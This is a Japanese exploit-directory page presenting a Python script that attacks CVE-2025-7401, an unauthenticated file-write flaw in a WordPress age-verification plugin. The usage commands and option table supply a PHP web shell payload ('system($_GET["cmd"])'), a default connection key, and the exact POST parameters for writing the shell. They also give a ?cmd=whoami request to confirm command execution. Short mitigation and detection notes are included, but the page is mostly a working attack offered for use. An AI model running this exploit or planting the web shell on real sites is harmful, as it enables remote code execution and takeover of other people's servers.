Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-7401 — WordPress用 Premium Age Verification / Restriction プラグイン <= 3.0.2 - 認証されていない任意ファイルの読み取りおよび書き込み | Kitploit
ツール/GitHubGitHub/nxploited/cve-2025-7401
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出情報収集ペネトレーションテストレッドチーミング
GitHubnxploited/cve-2025-7401

CVE-2025-7401

WordPress用 Premium Age Verification / Restriction プラグイン <= 3.0.2 - 認証されていない任意ファイルの読み取りおよび書き込み

リポジトリを見る
2110ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - 認証なしの任意ファイル読み取りおよび書き込み

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — 認証なしの任意ファイル読み取り・書き込み

📝 説明

「Premium Age Verification / Restriction for WordPress」プラグインは、remote_tunnel.php に保護が不十分なリモートサポートエンドポイントを含んでいます。3.0.2 までの影響を受けるバージョンでは、このエンドポイントを悪用して、認証なしの任意ファイル読み取りおよび書き込みが可能です。悪用に成功すると、機密情報が漏えいしたり、リモートコード実行が可能になる可能性があります。

  • CVE: CVE-2025-7401
  • CVSS: 9.8 (緊急)

⚙️ スクリプト概要

  • Script name: CVE-2025-7401.py
  • 目的: 認可されたセキュリティ専門家が、脆弱性のあるプラグインエンドポイントにおけるファイル書き込み動作を検証するためのテストツールです。このスクリプトはターゲットを正規化し、ユーザーが指定した PHP スニペットをエンコードし、脆弱なエンドポイントに POST を送信してファイルの書き込みを試み、必要に応じてWebアクセス可能なファイルパスを検証します。

▶️ クイック使用例

root@kitploit:~
# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 コマンドラインオプション


📋 スクリプトの詳細な動作(ステップバイステップ)


📌 期待される出力とその意味


🛡️ 緩和策と推奨事項

  • プラグインをベンダー提供のパッチ適用済みバージョンへ直ちにアップグレードしてください。
  • リモートサポート機能へのアクセスを、認証と適切な承認チェックで制限してください。
  • サーバー側で、ユーザーが指定するすべてのファイルパスとファイル内容をサニタイズし、検証してください。
  • WebユーザーがWebルートに実行可能ファイルを作成できないように、厳格なファイルシステム権限を適用してください。
  • remote_tunnel.php への不審なリクエストを検出してブロックするWAFルールを導入してください。

🔎 検出とフォレンジック

  • パラメータ action=save_file、file、file_content を含む、/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php へのPOSTリクエストをWebサーバーログで調査します。
  • プラグインディレクトリ内に remote_init.php などの予期しないファイルがないか検索します。
  • POSTボディ内のBase64エンコードされたペイロードを探します。
  • ファイル変更のタイムスタンプと不審なリクエストを関連付けます。

🤝 責任ある開示

  • 本番システムを悪用したり変更したりしないでください。
  • サイト所有者またはプラグインベンダーに非公開かつ安全に連絡してください。
  • ベンダーに再現手順を提供し、公表前に合理的な修正期間を与えてください。

⚖️ 法的および安全に関する通知

脆弱性テストツールの不正使用は、多くの法域で違法です。このリポジトリとスクリプトは、防御的研究、認可されたテスト、および協調的な脆弱性開示のみを目的としています。所有していないシステムをテストする前に、必ず明示的な書面による許可を得てください。


❗ 免責事項

著者および貢献者は、情報やツールの誤用について一切の責任を負いません。この資料は法的および倫理的な範囲内でのみ使用してください。


作者: Nxploited ( Khaled Alenazi )

ツールをダウンロード
フラグ型デフォルト説明
-u, --urlstring必須ターゲットのドメインまたは部分的なURL。必要に応じてスクリプトがプラグインエンドポイントを追加します。例: example.com、https://example.com、example.com/wp-content/plugins/age-restriction/。
-key, --keystring330489965d8266a739442ef890f57805リモートサポートエンドポイントが使用する接続キー。ラボ環境のターゲットでは必要に応じて上書きします。
-shell, --shellstring<?= system($_GET["cmd"]); ?>ファイル内容として注入するPHPスニペット。認可されたテストの場合のみ変更してください。
--no-verifyflagfalse指定した場合、書き込まれたファイルの任意のGET検証を実行しません。
ステップアクション詳細
1入力の正規化ユーザー入力(ドメインまたは部分パス)を受け入れます。スキーム(欠けている場合は http://)を保証し、重複するスラッシュを削除し、エンドポイントが存在しない場合は /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php を追加します。
2ヘッダー構築現実的なHTTPリクエストヘッダーを構築します(User-Agentのローテーション選択、Accept、Referer、Content-Type)。
3ペイロードのエンコード指定されたPHPスニペットをBase64エンコードし、file_content に配置します。
4POSTエクスプロイトリクエストconnection_key、action=save_file、file(サーバーパス)、および file_content を、application/x-www-form-urlencoded を使用して正規化された remote_tunnel.php エンドポイントに送信します。
5レスポンス解析レスポンスボディからJSONの解析を試みます。JSONが存在する場合は status と file_path を出力し、それ以外の場合はクリーンアップされた生のレスポンスを出力します。
6検証(オプション)/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami へのGETを試行し、注入されたファイルにアクセス可能でコンテンツを返すかどうかを確認します。--no-verify でオプション化。
7レポート出力使用したエンドポイント、HTTPステータス、解析されたJSON(あれば)、期待されるシェルURL、切り詰められた検証出力(成功した場合)を含む、構造化された人が読めるレポートを出力します。
出力フィールド意味例
Target endpoint接続された最終的な正規化URL(remote_tunnel.php への完全パス)。http://example.com/wp-content/.../remote_tunnel.php
HTTP Status CodePOSTリクエストのHTTPレスポンスコード。200は多くの場合、リクエストが処理されたことを示します。200
Response JSON statusエンドポイントがJSONを返す場合、status フィールドが成功/失敗を報告します。valid
Response JSON file_pathエンドポイントが返すサーバー側パス。ファイルを書き込んだ場所を示します(情報用)。/var/www/html/wp-content/.../remote_init.php
Raw responseJSON以外のレスポンスボディ(クリーンアップ済み)。PHPのNoticeやメッセージなど。Notice: ...
Shell URL (expected)注入されたファイルにアクセスできる公開URL。認可されたテストでの検証にのみ使用してください。http://example.com/wp-content/.../remote_init.php?cmd=whoami
Verification HTTP Status任意のGET検証のHTTPステータス。200
Verification body (truncated)検証レスポンスボディの最初のN文字(コマンド出力の確認に有用)。www-data